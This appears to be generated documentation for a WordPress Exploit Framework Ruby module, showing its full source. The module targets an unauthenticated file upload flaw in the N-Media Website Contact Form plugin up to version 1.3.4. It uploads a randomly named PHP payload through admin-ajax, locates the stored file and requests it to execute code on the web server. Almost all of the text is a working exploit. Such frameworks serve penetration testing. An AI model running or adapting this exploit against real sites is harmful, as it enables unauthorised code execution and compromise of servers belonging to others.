class Wpxf::Exploit::NMediaWebsiteContactFormShellUpload

Public Class Methods

new() click to toggle source
Calls superclass method Wpxf::Module::new
# File lib/wpxf/modules/exploit/shell/n_media_website_contact_form_shell_upload.rb, line 6
def initialize
  super

  update_info(
    name: 'N-Media Website Contact Form <= 1.3.4 Shell Upload',
    desc: 'This module exploits a file upload vulnerability in versions '\
          '<= 1.3.4 of the N-Media Website Contact Form plugin which '\
          'allows unauthenticated users to upload and execute PHP scripts '\
          'in the context of the web server.',
    author: [
      'Claudio Viviani', # Vulnerability discovery
      'rastating'        # WPXF module
    ],
    references: [
      ['URL', 'http://www.homelab.it/index.php/2015/04/12/wordpress-n-media-website-contact-form-shell-upload/'],
      ['WPVDB', '7896']
    ],
    date: 'Apr 12 2015'
  )
end

Public Instance Methods

check() click to toggle source
# File lib/wpxf/modules/exploit/shell/n_media_website_contact_form_shell_upload.rb, line 27
def check
  check_plugin_version_from_readme('website-contact-form-with-file-upload', '1.4')
end
payload_body_builder(payload_name) click to toggle source
# File lib/wpxf/modules/exploit/shell/n_media_website_contact_form_shell_upload.rb, line 31
def payload_body_builder(payload_name)
  builder = Utility::BodyBuilder.new
  builder.add_file_from_string('Filedata', payload.encoded, payload_name)
  builder.add_field('action', 'nm_webcontact_upload_file')
  builder
end
run() click to toggle source
Calls superclass method Wpxf::Module#run
# File lib/wpxf/modules/exploit/shell/n_media_website_contact_form_shell_upload.rb, line 38
def run
  return false unless super

  emit_info 'Preparing payload...'
  payload_name = "#{Utility::Text.rand_alpha(rand(5..10))}.php"
  builder = payload_body_builder(payload_name)

  emit_info 'Uploading payload...'
  res = nil
  builder.create do |body|
    res = execute_post_request(url: wordpress_url_admin_ajax, body: body)
  end

  if res.nil? || res.timed_out?
    emit_error 'No response from the target'
    return false
  end

  if res.code != 200 || res.body !~ /filename/i
    emit_info "Response code: #{res.code}", true
    emit_info "Response body: #{res.body}", true
    emit_error 'Failed to upload payload'
    return false
  end

  begin
    stored_name = JSON.parse(res.body)['filename']
  rescue StandardError => e
    emit_info "Response body: #{res.body}", true
    emit_error "Failed to parse response: #{e}"
    return false
  end

  payload_url = normalize_uri(wordpress_url_wp_content, 'uploads', 'contact_files', stored_name)
  emit_success "Uploaded the payload to #{payload_url}", true

  emit_info 'Executing the payload...'
  res = execute_get_request(url: payload_url)
  if res && res.code == 200 && !res.body.strip.empty?
    emit_success "Result: #{res.body}"
  end

  return true
end